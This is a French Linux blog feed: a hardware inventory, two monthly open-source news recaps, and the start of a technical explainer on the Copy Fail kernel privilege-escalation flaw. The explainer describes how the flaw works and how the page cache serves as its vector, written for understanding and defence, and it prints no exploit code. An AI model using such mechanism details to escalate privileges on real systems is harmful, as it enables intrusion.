✇Actualités - Linuxtricks.fr
Bonjour à tous

A la suite de la vidéo sur le MINISFORUM MS-R1 : https://www.youtube.com/watch?v=ViqY4U8WCUI
Je vais vous partager la config complète de la machine installée sous Linux.

Voici le petit retour du :
Code BASH :
inxi -F


Ici ce n'est pas la distribution par défaut fournie avec cette machine (à savoir une Debian 12) mais vous avez les infos :
Code TEXT :
System:
  Host: ms-r1 Kernel: 7.0.0-37-cix arch: aarch64 bits: 64
Machine:
  Type: Unknown System: Micro (HK) Tech product: MS-R1 v: 1.0 serial: XXXXXXXXXXXXX
  Mobo: Meigao Innovation (Shenzhen) model: P1WSB v: 1.0 serial: XXXXXXXXXXXXX
    Firmware: UEFI vendor: Cix v: 1.0 date: 10/25/2025
CPU:
  Info: 12-core model: CP8180 bits: 64 type: MCP cache: L2: 4 MiB
  Speed (MHz): avg: 374 min/max: 800/2600:1800:2300:2200:2500 cores: 1: 374 2: 374 3: 374 4: 374
    5: 374 6: 374 7: 374 8: 374 9: 374 10: 374 11: 374 12: 374
Graphics:
  Message: No PCI device data found.
  Display: unspecified server: Xwayland v: 24.1.10 driver: N/A tty: 129x30
  API: EGL v: 1.5 drivers: linlondp,panthor,swrast platforms: gbm,surfaceless,device
  API: OpenGL v: 4.5 compat-v: 3.1 vendor: mesa v: 26.0.3-1ubuntu1 note: console (EGL sourced)
    renderer: Mali-G720 MC10 (Panfrost), llvmpipe (LLVM 21.1.8 128 bits)
  Info: Tools: api: eglinfo,glxinfo x11: xdriinfo, xdpyinfo, xprop, xrandr
Audio:
  Message: No device data found.
  API: ALSA v: k7.0.0-37-cix status: kernel-api
Network:
  Device-1: Realtek RTL8127 10GbE driver: r8169
  IF: enp1s0 state: up speed: 1000 Mbps duplex: full mac: 38:05:25:33:e2:31
  Device-2: Realtek RTL8127 10GbE driver: r8169
  IF: enp49s0 state: down mac: 38:05:25:33:e2:32
  Device-3: MEDIATEK MT7922 802.11ax PCI Express Wireless Network Adapter driver: mt7921e
  IF: wlp97s0 state: down mac: b0:6b:11:11:02:80
Bluetooth:
  Device-1: MediaTek Wireless_Device driver: btusb type: USB
  Report: hciconfig ID: hci0 state: up address: B0:6B:11:11:02:81 bt-v: 5.3
Drives:
  Local Storage: total: 953.87 GiB used: 15.58 GiB (1.6%)
  ID-1: /dev/nvme0n1 vendor: Kingston model: OM8TAP41024K1-A00 size: 953.87 GiB
Partition:
  ID-1: / size: 936.79 GiB used: 15.57 GiB (1.7%) fs: ext4 dev: /dev/nvme0n1p2
  ID-2: /boot/efi size: 1.05 GiB used: 6.5 MiB (0.6%) fs: vfat dev: /dev/nvme0n1p1
Swap:
  ID-1: swap-1 type: file size: 8 GiB used: 0 KiB (0.0%) file: /swap.img
Sensors:
  System Temperatures: cpu: 47.5 C mobo: N/A
  Fan Speeds (rpm): N/A
Info:
  Memory: total: 32 GiB available: 30.06 GiB used: 4.86 GiB (16.2%)
  Processes: 437 Uptime: 13m Init: systemd Shell: Bash inxi: 3.3.40
 


Voilà !

DRIVERS et KERNEL avec les modifs dispo ici :
https://github.com/cixtech/cix-linux-main

Pilotes et téléchargements : https://www.minisforum.com/fr/pages/product-info

CKOIKIDI 102 : Résumé du live Actus du libre mai 2026

✇Actualités - Linuxtricks.fr
Salut à toutes et à tous,

On se retrouve pour le débriefing complet de ce CKOIKIDI #102 du mercredi 3 juin 2026. Au sommaire, le résumé des actualités du libre du mois de mai, qui a été particulièrement chargé. On a 14 dossiers majeurs à traiter, entre souveraineté, distributions. alors c'est parti !


1. Azure Linux 4.0 : La distribution de Microsoft

Oui, vous avez bien entendu. Microsoft sort une distribution Linux. À l'occasion de l'Open Source Summit North America 2026, Microsoft a dévoilé Azure Linux 4.0, sa distribution Linux open source et gratuite. Basée sur des paquets RPM et dérivée de Fedora, elle est construite et maintenue directement par Microsoft. Elle réutilise juste les outils de Fedora et le gestionnaire de paquets RPM, ils vont pas réinventer la roue. Le projet est nullement lié à la communauté Fedora ou à Red Hat. La nouveauté avec Azure Linux 4.0, c'est son positionnement plus large : une image de machine virtuelle polyvalente, accessible aux clients Azure, et pas seulement un composant interne ou limité à Kubernetes. C'est une distribution Linux interne de Microsoft de longue date utilisée pour ses services cloud et ses appliances edge. Elle est partagée ici publiquement dans le cadre de l'engagement de Microsoft envers l'open source. Elle s'exécute aussi bien sur le cloud Azure que via le sous-système Windows pour Linux (WSL). Ainsi les développeurs peuvent développer en local avec le même environnement que dans le cloud Azure. Ce n'est pas une distribution de bureau que vous installerez via une clé USB à la place d'une Ubuntu et ce n'est pas son objectif, vous avez compris.

Je trouve cela intéressant car on peut enfin voir ce qui propulse le cloud de Microsoft, et surtout les développeurs gardent leur environnement de travail habituel sous Windows 11 tout en ayant leur environnement cible à portée. Cependant, ne vous emballez pas : Microsoft ne va pas abandonner Windows pour autant.

Sources : https://github.com/microsoft/azurelinux https://www.zdnet.fr/actualites/microsoft-officialise-azure-linux-4-0-sa-premiere-distribution-linux-grand-public-495222.htm


2. NixOS 26.05 est là !

La distribution néerlandaise NixOS vient de publier sa version semestrielle 26.05, surnommée "Yarara". Cette mouture est le fruit d'un travail colossal avec plus de 2 800 contributeurs et près de 60 000 commits depuis la version précédente. Le cycle de support est très court, seulement 7 mois, ce qui signifie que l'ancienne version 25.11 qui est déjà notée obsolète ne sera plus maintenue dès le 30 juin. On dénombre plus de 20 000 nouveaux paquets et 1 500 nouvelles options de configuration, ce qui en fait l'un des écosystèmes les plus riches du monde Linux. La force de NixOS réside dans sa configuration déclarative et reproductible : un seul fichier central permet de reconstruire tout son système à l'identique sur une autre machine. On note des améliorations de performance sur le gestionnaire de paquets Nix et l'intégration de Gnome 50 et d'autres dernières versions de logiciels.

C'est une distribution que je suis de près et que je maintiens en machine virtuelle pour voir son comportement sur le long terme. Pour ceux qui disent que c'est un projet de « geeks en sandalettes », je rappelle qu'avec presque 3 000 contributeurs, c'est du très sérieux, même si sa philosophie radicalement différente demande un temps d'apprentissage certain.

Sources : https://nixos.org/blog/announcements/2026/nixos-2605/


3. RescueZilla 2.6.2 : Le couteau suisse du backup

RescueZilla, que je considère comme le « couteau suisse » de la récupération système, passe en version 2.6.2. Cette version est désormais basée sur Ubuntu 26.04, ce qui garantit un excellent support du matériel récent sorti jusqu'en avril 2026. C'est essentiellement une interface graphique pour CloneZilla, rendant la sauvegarde et la restauration de disques accessibles à tous sans passer par le terminal. Elle est capable de lire les images créées par CloneZilla, Redo Backup ou encore Fog Project. Un point fort est sa capacité à restaurer des formats de disques virtuels (VDI, VMDK, QCOW2) directement sur des machines physiques. L'équipe prévoit d'ailleurs une image ISO pour l'architecture ARM64 prochainement. Malheureusement, cette version abandonne définitivement le support 32 bits (base Ubnntu 18.04). Si vos partitions ne sont pas chiffrées, vous pouvez même parcourir les fichiers à l'intérieur d'une image de sauvegarde.

C'est un outil que j'ai toujours sur ma clé Ventoy. C'est la solution idéale pour cloner son disque proprement avant de tenter une mise à niveau risquée vers Windows 11 par exemple, ou pour migrer son système de disque sans tout réinstaller !

Sources : https://github.com/rescuezilla/rescuezilla/releases/tag/2.6.2


4. Red Hat Enterprise Linux 9.8 et 10.2

Red Hat a frappé fort en publiant simultanément les versions mineures 9.8 et 10.2 de sa distribution professionnelle. La version 8, quant à elle, reste en maintenance jusqu'en 2029 sans nouveautés. La grande nouveauté est l'introduction (optionnelle) de goose, un assistant d'intelligence artificielle en ligne de commande optionnel pour aider les administrateurs. On retrouve également des versions fraîches de Go, Rust, Python 3.14 et PHP 8.4 dans les dépôts d'extensions. Le mode "Image Mode" permet désormais de préparer des mises à jour immuables sans les appliquer immédiatement. Côté sécurité, les profils cryptographiques et SELinux ont été durcis pour contrer les menaces récentes. La console web Cockpit s'enrichit de nouveaux tableaux de bord.

Bien que les licences puissent paraître chères, le modèle "Virtual Data Center" est très rentable pour les entreprises car il permet de faire tourner un nombre illimité de VM sur un hyperviseur licencié tout en bénéfisiant d'un support et d'une documentation très conséquente. Les 10 ans de support garantis sont un confort indispensable en environnement critique pour ne pas avoir à tout réinstaller tous les 4-5 ans comme pour Debian qui a un cycle plus court.

Sources : https://www.redhat.com/en/blog/rhel-102-and-98-intelligent-evolution-enterprise-linux


5. AlmaLinux 10.2 et 9.8 : L'exploit communautaire

Six jours seulement après Red Hat, AlmaLinux a publié ses versions 9.8 et 10.2. C'est un exploit historique pour le projet car c'est la première fois qu'ils livrent deux releases majeures le même jour. Cela prouve la maturité de leurs pipelines d'automatisation CICD et de leurs outils de construction. Contrairement à d'autres, AlmaLinux se base sur CentOS Stream et a même apporter des apports prévus initialement dans la prochaine version chez Red Hat. La version 10.2 réintroduit des paquets 32 bits (I686) pour les logiciels Legacy et conserve le support du système de fichiers BTRFS qui avait été introduité précédemment. Elle propose également Firefox et Thunderbird en paquets RPM classiques, là où Red Hat impose désormais le format Flatpak.

En tant que contributeur au projet, je suis fier de voir qu'AlmaLinux ne se contente pas de cloner, mais ajoute une réelle plus-value technique. C'est la distribution la plus pragmatique pour éviter l'obsolescence programmée des serveurs, avec un support de 10 ans !

Sources : https://almalinux.org/blog/2026-05-26-almalinux_98_and_102_stable/


6. Rocky Linux introduit un dépôt Security

Rocky Linux a innové ce mois-ci en introduisant un dépôt "Security" optionnel, désactivé par défaut. L'objectif est de pallier la lenteur d'intégration des correctifs de sécurité par Red Hat, qui doit suivre des processus de certification très lourds. Lors de failles critiques comme copy.fail ou dirtyfrag, les administrateurs pourront activer ce dépôt pour obtenir les patchs immédiatement. Les paquets sont versionnés spécifiquement pour être écrasés automatiquement par la mise à jour "copiée" de Red Hat dès qu'elle est disponible. Cela permet de rester aligné sur la promesse de compatibilité 1:1 tout en étant plus réactif face aux menaces. C'est un changement de philosophie intéressant pour Rocky.

C'est une excellente initiative qui offre un filet de sécurité indispensable en entreprise. Plutôt que d'attendre une semaine que Red Hat qualifie un patch noyau, on peut protéger ses serveurs tout de suite sans briser la cohérence du système.

Sources : https://rockylinux.org/news/2026-05-14-introducing-security-repository


7. Linux vs l'IA : Une situation ingérable

Linus Torvalds a poussé un gros coup de gueule car les mainteneurs du noyau sont submergés par un "tsunami" de rapports de vulnérabilités générés par IA. La liste de sécurité privée est passée de deux rapports par semaine à plus de dix par jour en deux ans. Le problème est que des dizaines de chercheurs utilisent les mêmes outils sur le même code et envoient tous les mêmes doublons. Les mainteneurs passent leur temps à faire le tri et à répondre à des gens qui ne comprennent parfois même pas le bug qu'ils rapportent. Linus demande aux chercheurs de ne plus être de simples "coursiers" entre une IA et une liste de diffusion. Il exige que chaque rapport soit accompagné d'une analyse humaine et, si possible, d'un patch de correction.

Je comprends totalement la colère de Linus ; l'IA est un outil formidable pour assister un ingénieur, mais elle ne doit pas remplacer le travail de validation humaine.

Sources : https://www.lesnumeriques.com/informatique/c-est-ingerable-linux-pilier-de-l-open-source-mondial-fait-face-a-la-plus-grande-crise-de-son-histoire-a-cause-de-l-ia-n256065.html


8. Pas de vérification d'âge en Californie et au Colorado
C'est une victoire discrète mais majeure pour le libre : les lois sur la vérification de l'âge au Colorado et en Californie vont inclure une exception pour l'open source. Initialement, ces lois auraient pu obliger les systèmes d'exploitation à implémenter des mécanismes de contrôle de l'identité, ce qui est techniquement impossible pour un logiciel dont le code est ouvert et modifiable. Le Colorado exclut désormais explicitement les logiciels sous licences libres permettant la redistribution sans restrictions techniques. La Californie suit le même chemin avec des exceptions similaires pour Linux et les BSD. Cependant, les systèmes propriétaires comme Windows ou macOS resteront soumis à ces régulations. Le cas de périphériques comme le Steam Deck reste encore en suspens.

C'est un soulagement car l'application de ces lois aurait été un cauchemar pour nos distributions. Si le code est ouvert, n'importe qui peut supprimer le module de contrôle et recompiler son système, rendant la loi caduque de toute façon non ?

Sources : https://www.opensourceforu.com/2026/05/colorado-and-california-shield-linux-from-os-level-age-verification-rules/


9. KDE reçoit 1 000 000 € d'investissement

L'agence fédérale allemande Sovereign Tech Fund a investi un million d'euros dans le projet KDE. Cet argent est spécifiquement dédié à renforcer la sécurité et la fiabilité de l'infrastructure corps de KDE Plasma et des frameworks sous-jacents. KDE a été choisi car c'est un environnement de bureau clé utilisé par des millions de personnes et géré par une association à but non lucratif. L'investissement vise à pérenniser des outils comme KDE Frameworks sans dépendre de fonds privés ou de publicité. KDE fournit également énormément d'applications comme Kdenlive ou Krita. C'est une reconnaissance forte du rôle de KDE dans la souveraineté numérique européenne.

Enfin, l'Europe met son argent là où sont ses discours ! C'est une excellente nouvelle de voir des fonds publics réinjectés dans des communs numériques plutôt que dans des abonnements Office 365 !

Sources : https://kde.org/announcements/sovereign-tech-fund-invests-kde/


10. Proxmox VE 9.2 : Le plein de nouveautés
La version 9.2 de Proxmox est sortie, basée sur Debian 13.5 et le tout nouveau noyau Linux 7.0. C'est une mise à jour majeure qui intègre QEMU 11 et le système de fichiers ZFS 2.4. La fonctionnalité phare est le "Dynamic Load Balancer", un équivalent au DRS de VMware, qui optimise automatiquement la répartition des ressources dans un cluster. On note aussi l'introduction de WireGuard comme protocole natif pour le réseau SDN, facilitant la création de clusters multisites sécurisés. L'interface graphique permet désormais de personnaliser finement les modèles de CPU. Les certificats UEFI 2023 sont également intégrés.

Le support natif de WireGuard va changer la vie de ceux qui gèrent des infrastructures distribuées. Avec le répartiteur de charge dynamique, Proxmox n'a plus rien à envier aux solutions propriétaires de chez Broadcom.

Sources : https://forum.proxmox.com/threads/proxmox-virtual-environment-9-2-available.183741/


11. Bekane : L'alternative française à VMware Horizon
La boîte française Factor FX a lancé Bekane, une solution de VDI (Virtual Desktop Infrastructure) 100 % open source basée sur Proxmox. C'est une réponse directe à l'envolée des prix de VMware Horizon depuis le rachat par Broadcom. Bekane permet de centraliser et sécuriser les postes de travail dans le data center, accessibles via un simple navigateur web. Elle gère l'authentification moderne (OIDC) et le clonage de templates Proxmox pour déployer des centaines de postes à la volée. Le modèle économique est basé sur un prix par utilisateur, rendant la solution attractive pour les PME mais aussi à de plus grosses structures !

Bravo à l'équipe de Fixou pour ce boulot ! C'est une alternative souveraine et crédible qui prouve que l'on peut se passer des solutions américaines inabordables.

Sources : https://www.factorfx.com/solution-it/bekane-solution-de-vdi-open-source/ https://gitlab.com/factorfx/bekane


12. Souveraineté : Financement du libre
Les acteurs du libre comme Framasoft, l'April et Mastodon ont été auditionnés à l'Assemblée Nationale. Ils ont plaidé pour une meilleure organisation des financements publics, s'inspirant du modèle allemand. Leur message est clair : utiliser le libre c'est bien, mais le financer c'est indispensable pour sa survie. Ils demandent que l'État finance directement le développement de fonctionnalités spécifiques dans les logiciels libres, créant ainsi un "commun numérique". Mastodon a par exemple reçu 700 000 € ainsi. En France, on voit beaucoup de discours sur la souveraineté, mais encore trop peu d'actes financiers ou techniques concrets.

Je partage l'avis on ne peut pas considérer le logiciel libre comme un produit "gratuit" sur étagère ; c'est une infrastructure qui nécessite de l'investissement pour rester compétitive face aux GAFAM.

Sources : https://next.ink/237134/souverainete-les-acteurs-du-libre-plaident-pour-une-meilleure-organisation-des-financements/


13. EuroOffice arrive enfin
Le 9 juin 2026 marquera le lancement d'EuroOffice 1.0, une suite bureautique européenne souveraine. C'est le fruit d'un consortium géant regroupant Nextcloud, Ionos, XWiki et d'autres acteurs majeurs de la tech européenne. Techniquement, c'est un fork d'OnlyOffice dont le code a été entièrement nettoyé, audité et documenté en anglais pour garantir sa transparence. L'objectif est de proposer une alternative crédible à Microsoft Office et Google Docs avec une intégration parfaite prévue dans Nextcloud Hub 26. Elle supporte nativement les formats ouverts ODF mais conserve une excellente compatibilité avec les fichiers Microsoft.

C'est un signal fort pour notre indépendance numérique et concret cette fois ci ! Choisir une base OnlyOffice est un choix pragmatique car l'interface est familière pour les utilisateurs venant de Microsoft, ce qui facilitera grandement l'adoption en entreprise. On espère une version comunity pour l'utiliser en perso !

Sources : https://goodtech.info/euro-office-sortie-version-stable-alternative-open-source-microsoft/ https://github.com/Euro-Office


14. Polytechnique dit non à Microsoft !
L'école Polytechnique a suspendu sa migration vers Microsoft Office 365 sous la pression du Conseil National du Logiciel Libre. Cette décision historique s'appuie sur l'article L 123-4-1 du code de l'éducation, qui stipule que les logiciels libres doivent être utilisés en priorité dans l'enseignement supérieur. C'est une victoire majeure pour le respect du droit et la protection des données des chercheurs français face au Cloud Act américain. D'autres établissements et villes comme Lyon (déjà à 80 % de migration) prouvent que l'on peut se passer des GAFAM sur le poste de travail. Polytechnique rejoint ainsi le camp de la souveraineté numérique par les actes.

C'est une superbe nouvelle ! Il était temps !

Sources : https://www.lesnumeriques.com/informatique/le-logiciel-libre-l-emporte-polytechnique-dit-non-a-microsoft-et-declenche-une-vague-de-rebellion-dans-les-universites-n243905.html https://www.legifrance.gouv.fr/codes/article_lc/LEGIARTI000027747749


Merci à toutes et à tous d'avoir suivi ce 102e épisode !
J'espère que cette synthèse vous a plu.
On se retrouve le 1er juillet pour le prochain épisode !

CKOIKIDI 101 : Résumé du live Actus du libre avril 2026

✇Actualités - Linuxtricks.fr
Salut à toutes et à tous,

On se retrouve pour le débriefing complet de ce CKOIKIDI #101 du 6 mai 2026, vu que vous aimez ce petit compte rendu.

J'ai préparé ma veille moi-même car, pour l'anecdote, Gemini a complètement déliré en me racontant n'importe quoi sur les versions logicielles. Voici les actus qu'on a abordées qui ont attirés mon attention.

1. Ubuntu 26.04 LTS "Resolute Raccoon"
La grosse nouvelle de ce mois d'avril est la sortie, le 23 avril, de la version 26.04 LTS, baptisée Resolute Raccoon.
C'est une version à long terme supportée pendant 5 ans, mais vous pouvez monter jusqu'à 12 ans de support avec Ubuntu Pro, qui est gratuit pour les particuliers, jusqu'à 5 machines.
On y retrouve Gnome 50, ce qui signifie qu'on passe en 100 % Wayland par défaut, sans session X11 possible. Le système embarque le noyau Linux 7.0 et, pour la sécurité, propose le chiffrement complet du disque via la puce TPM, rendant le déverrouillage transparent au boot comme Windows 11.
Autre changement profond : les outils de base (ls, cd, sudo) sont désormais écrits en Rust ! (Pour ceux qui viennent de la précédente LTS, on a toutes les évolutions des versions intermédiaires.
Je continue de conseiller Ubuntu aux débutants car elle gère parfaitement le Secure Boot, les pilotes Nvidia signés et les codecs dès l'installation. Concernant les Snaps, j'arrête de râler car ils ont fait des progrès fulgurants : même sur une machine avec seulement 4 Go de RAM, Firefox se lance désormais sans aucune lenteur ! Ils ont l'avantage de présenter des mises à jour pour les applis graphiques (LibreOffice) ce qui permet de garder une base stable du système avec des logiciels qui évoluent.

2. Fedora Linux 44
On enchaîne avec Fedora 44, sortie le 28 avril, qui propose une expérience Gnome 50 très pure, sans les extensions ajoutées par Ubuntu. L'édition KDE Plasma 6.6 est particulièrement soignée avec l'arrivée du Plasma Login Manager (PLM) qui remplace l'historique SDDM pour une meilleure intégration Wayland sans oublier l'assistant de premier démarrage. Pour les gamers, le module noyau NTSync est activé par défaut, ce qui booste les performances des jeux Windows lancés via Steam ou Wine. Fedora reste fidèle à sa réputation de vitrine technologique, bien que livrée avec le noyau 6.19, le 7.0 arrivera d'ici quelques jours dans les dépôts
Vous le savez, je suis contributeur du projet et j'utilise cette version 44 sur ma propre machine depuis février. Un bémol cependant : Fedora consomme souvent deux fois plus de RAM qu'Ubuntu sur une installation fraîche, et je continue de forcer le système en EXT4 car je trouve le BTRFS par défaut encore un peu lent sur les SSD surtout d'entrée de gamme !

3. Linux Mint : Ralentissement du développement
Les nouvelles du blog officiel de Linux Mint nous apprennent que le développement ralentit pour se concentrer sur des chantiers de fond très lourds. La prochaine version majeure, Mint 23, n'arrivera qu'à Noël 2026, car l'équipe doit unifier l'installeur "Live Installer" avec celui de la version Debian. Ils travaillent aussi d'arrache-pied sur le support de Wayland pour Cinnamon, mais ce ne sera probablement pas stable avant la version 24 en 2028. En attendant, ils proposent des images ISO HWE (Hardware Enablement) pour permettre l'installation sur du matériel récent avec des noyaux plus frais comme le 6.17
Vous le savez, j'ai un énorme coup de cœur pour la version LMDE (Linux Mint Debian Edition) car les mises à jour de Cinnamon y arrivent en continu, un peu comme une rolling release, ce qui est à l'étude pour la Linux Mint classique avec la suggestion de mettre les mises à jour au fil de l'eau des outils et de l'environnement de bureau, au lieu de faire des versions intermédiaires (comme la 22.1 22.2 22.3 etc.). Je pense d'ailleurs que les changements imposés par Ubuntu (comme le passage à Rust pour les utilitaires de base) agacent tellement l'équipe de Mint qu'ils finiront par abandonner la base Ubuntu pour ne garder que Debian.
.
4. Alma Linux 9.8 et migration vers la version 10 x86_64_v2
La version 9.8 Beta d'Alma Linux est sortie, apportant Python 3.14 et des mises à jour pour MariaDB 10.8 et PostgreSQL 18 en tant que module. L'info importante aussi est la mise à jour de l'outil Elevate, qui permet désormais de migrer d'Alma 9 vers la version 10 tout en restant sur l'architecture x86_64_v2. C'est une décision majeure car Red Hat Enterprise Linux 10 impose l'architecture v3, ce qui peut rendre obsolètes des serveurs plus anciens. Alma Linux a même recompilé une partie du dépôt EPEL pour garantir la compatibilité avec ces processeurs v2.
En tant que contributeur, je salue cette démarche exemplaire contre l'obsolescence programmée des serveurs. Offrir un support jusqu'en 2035 sur du matériel ancien, c'est la preuve qu'Alma Linux est la distribution la plus pragmatique pour les entreprises aujourd'hui, tout en ayant un support de 10 ans.

5. Ubuntu et sa stratégie sur l'IA
Canonical a profité du lancement de la 26.04 pour clarifier sa position sur l'intelligence artificielle ! Leur stratégie repose sur une approche mesurée, privilégiant des modèles ouverts et des outils open source plutôt que des API fermées. Ils distinguent les fonctions "implicites" (comme la synthèse vocale sous le capot) des fonctions "explicites" centrées sur l'utilisateur. Le point important à retenir est que l'inférence se fera localement sur la machine, garantissant la confidentialité des données.
Je suis quand même en partie rassuré de voir qu'ils ne cèdent pas à la mode de la "cloudification" totale de l'IA. J'apprécie aussi que dans l'annonce Canonical évalue ses ingénieurs sur la qualité de leur code et non sur la quantité d'IA qu'ils ont utilisée pour le produire. Donc on peut espérer que l'IA sera utilisée un outil, comme l'a été le moteur de recherche il y a 20 ans !

6. Microsoft libère le code de 86-DOS 1.0 !
Pour le 45e anniversaire de 86-DOS 1.0, Microsoft a publié le code source original sous licence MIT sur GitHub https://github.com/DOS-History/Paterson-Listings .Ce corpus inclut les sources du noyau, les instantanés de développement de PC DOS 1.0 et des utilitaires comme CHKDSK. C'est un véritable travail d'archéologie numérique qui a été mené par des historiens pour scanner et retranscrire ces listings en assembleur. Cette démarche fait suite à l'ouverture de MS-DOS 4.0 et du Basic 6502 l'année dernière.
Même si je ne suis pas développeur assembleur, je trouve que c'est un geste formidable pour la préservation de l'histoire de l'informatique. C'est une plongée fascinante dans le passé qui montre que même les géants comme Microsoft commencent à jouer le jeu de l'ouverture pour le patrimoine numérique !

7. Kdenlive 26.04
Première version de 2026 de Kdenlive est arrivé avec un nombre record de nouveaux contributeurs ! Parmi les nouveautés, on trouve la duplication de la sortie moniteur vers un écran secondaire externe, très pratique pour le montage collaboratif. Les transitions bénéficient maintenant d'une prévisualisation animée dans la liste des effets avant même de les appliquer. Les boîtes de réglages acceptent désormais les expressions mathématiques (on peut taper "1920/2" au lieu de calculer soi-même). Enfin, l'accélération ou le ralentissement de plusieurs clips simultanément est désormais possible !
C'est mon outil de montage vidéo quasi quotidien, toutes mes vidéos YouTube sont montées avec Kdenlive depuis des années. Même si l'interface peut sembler intimidante au début, c'est pour moi le meilleur logiciel de montage libre, et je continue de l'utiliser en anglais pour mieux suivre les tutos sur le net !

8. Firefox 150 : Des nouveautés en pagaille
Firefox 150 améliore la fonctionnalité SplitView, permettant de mettre deux onglets côte à côte dans la même fenêtre. On peut désormais partager plusieurs URL simultanément et l'éditeur de PDF intégré permet de réorganiser les pages. Mozilla lance également son propre dépôt RPM officiel pour faciliter l'installation sur Fedora, RHEL ou Mageia qui pour cette dernière utilise par défaut la version ESR. Le VPN gratuit (limité à 50 Go) est désormais étendu aux utilisateurs canadiens, après la France et l'Allemagne notamment.
L'arrivée du dépôt RPM est une décision stratégique géniale, surtout pour RHEL 10 qui ne propose plus Firefox par défaut. Concernant le SplitView, Firefox rattrape son retard sur Vivaldi, même si je reste sur Vivaldi pour ma part car il permet de juxtaposer jusqu'à quatre onglets, ce qui est indispensable pour gérer mes différents chats en live par exemple !

9. Scaleway remporte l’hébergement des données de santé
Après sept ans de polémiques, le Health Data Hub (renommé PDS pour Plateforme des données de santé) quitte Microsoft Azure pour l'hébergeur français Scaleway. Ce choix fait suite à un appel d'offres rigoureux de l'UGAP, impliquant la Dinum et le ministère de la Santé avec plus de 350 critères techniques. C'est une étape importante pour sortir ces données sensibles de la juridiction du Cloud Act américain.
On prouve enfin qu'on peut confier nos données les plus précieuses à des acteurs locaux comme la société de Xavier Niel. A titre perso, j'avais trouvé leurs tarifs un peu chers (par rapport à IONOS qui héberge aussi en France le site Linuxtricks), je ne sais pas ce qu'il en est pour l'offre des données de santé, vis à vis de Microsoft, mais la souveraineté à un côut, et c'est une bonne chose que ça reste en France.

10. La FRANCE fournira un cloud souverain à l'UE
Un consortium français composé d'OVHcloud, Clever Cloud et Luxembourgeois pour Deep a remporté un marché de 180 millions d'euros pour fournir des services cloud à l'Union Européenne. OVH gère la capacité de déploiement, Clever Cloud apporte les outils d'architecture hybride et Deep s'occupe de la cybersécurité. L'objectif de la Commission Européenne est de renforcer sa résilience en évitant la dépendance aux acteurs uniques américains. C'est une étape symbolique forte puisque 80 % du marché numérique européen est actuellement capté par les États-Unis
On arrête de dire que la France est nulle en informatique ; on est sur le devant de la scène avec des solutions robustes et crédibles face aux GAFAM !

11. Faille de sécu Linux copy.fail (CVE-2026-31431)
Une vulnérabilité critique nommée Copy.fail a été découverte, permettant à n'importe quel utilisateur local de devenir root instantanément. Cette faille, présente dans le noyau depuis 2017, a touché des millions de serveurs avant d'être corrigée en urgence début mai. J'ai publié une vidéo et surtout un long article technique détaillé car je n'ai trouvé aucun contenu sérieux en français sur le sujet. https://www.linuxtricks.fr/news/10-logiciels-libres/600-copy-fail-cve-2026-31431-synthese-technique-sur-cette-faille-linux/
J'ai passé mon dimanche à étudier cette faille au lieu de faire ma déclaration d'impôts, mais ça en valait la peine tant le sujet est passionnant !

Merci à toutes et à tous d'avoir suivi ce 101e épisode !
On se retrouve le 3 juin pour le prochain live actu.

Copy Fail (CVE-2026-31431) : Synthèse technique sur cette faille Linux

✇Actualités - Linuxtricks.fr
Bonjour à tous,

Dans cet article, que je prends le temps d'écrire le 3 mai (donc avec les infos que j'ai au 3 mai), je souhaite vous parler plus en détail de cette vulnérabilité Copy Fail.
Je n'ai pas vu d'infos techniques en français sur le sujet, et j'ai voulu aprofondir mes connaissances et le fonctionnement de cette faille. J'espère que ça vous servira.
Tout en bas, je vous mets les sources associées à mes recherches.

Il y a beaucoup d'incompréhensions dessus, et c'est une vulnérabilité que je considère comme nettement plus grave que ce que la plupart des analyses superficielles laissent entendre. Classifiée CVE-2026-31431 avec un score CVSS de 7.8/10, elle permet à n'importe quel processus tournant sur une machine Linux de devenir root, et ce, sur l'intégralité des distributions majeures depuis 2017. Le proof-of-concept public fait 732 octets de Python. En une commande, on devient root. C'est incroyable !

Anatomie d'une faille : une conjonction, pas un bug isolé
Petite pensée à Olivier Poncet avec la formulation "Anatomie d'une faille"

Ce qui rend CopyFail particulièrement intéressante d'un point de vue technique, c'est qu'elle n'est pas le résultat d'un bug unique comme on l'a parfois vu. C'est la conjonction de trois évolutions indépendantes du noyau Linux qui, ensemble, créent une faille exploitable.

Voilà la chronologie en quelques phrases :

2011 : Le wrapper cryptographique AEAD
En 2011, un wrapper cryptographique AEAD (Authenticated Encryption with Associated Data) est introduit dans le noyau pour gérer IPsec (le protocole qui chiffre chaque paquet réseau individuellement, très utilisé dans les VPN).
Ce wrapper, a un comportement un peu crade mais toléré : lors du déchiffrement d'un bloc, il écrit 4 octets en dehors de sa zone mémoire déclarée. C'est du dépassement de tampon, certes, mais à ce stade c'est totalement confiné à l'intérieur du noyau. Il n'y a aucune interface avec les processus utilisateurs. Aucun risque pratique.

2015 : Les sockets AF_ALG
Quatre ans plus tard, une nouvelle famille de sockets fait son apparition : les AF_ALG sockets.
Leur rôle ? Offrir à l'espace utilisateur une interface directe vers le sous-système cryptographique du noyau (y compris vers le handler AEAD décrit ci-dessus. Désormais, un processus non-privilégié peut ouvrir un socket, demander au noyau de chiffrer ou déchiffrer des données via AEAD, et récupérer le résultat. C'est toujours fonctionnel, mais on vient d'exposer vers l'extérieur un composant qui avait jusqu'ici une petite bizarrerie interne.

2017 : Le commit problématique (72548b093e3)
C'est ici que tout bascule !
En 2017, un commit introduit dans algif_aead.c ce qui ressemble à une optimisation de performance : la mémoire d'entrée et la mémoire de sortie du traitement AEAD sont fusionnées et donc on traite les données en place (in-place processing).
Le problème : cela crée un chemin dans lequel les 4 octets qui étaient précédemment écrits de façon inoffensive en dehors des limites, se retrouvent maintenant à déborder dans des zones mémoire contrôlables depuis l'espace utilisateur. La faille est en place. Elle sera donc introduite à ce moment là, sans être détectée, pendant 9 ans !

A propos du mécanisme d'exploitation : le page cache comme vecteur

Pour comprendre comment l'exploitation fonctionne concrètement, il faut maîtriser deux concepts fondamentaux du noyau Linux. Je vais le faire assez court mais je pense assez complet pour illustrer le rôle qu'à le page cache dans cette affaire.

Le page cache est une portion de la RAM que le noyau dédie au stockage en mémoire des contenus de fichiers lus depuis le disque. Quand on lit /usr/bin/su, son contenu est chargé en RAM dans le page cache. La prochaine fois qu'un processus en a besoin, le noyau ne va pas relire le disque, il sert directement depuis la RAM.
On le sait, la RAM est beeeeeeaucoup plus rapide qu'un disque, même un SSD ! Donc autant l'utiliser et en profiter !
Ce qui est problématique ici : le page cache est global au système. Il n'est pas par processus, ni par conteneur (ce qui pose souci si on a du docker par exemple). Il est au niveau du noyau, partagé par tout le monde.

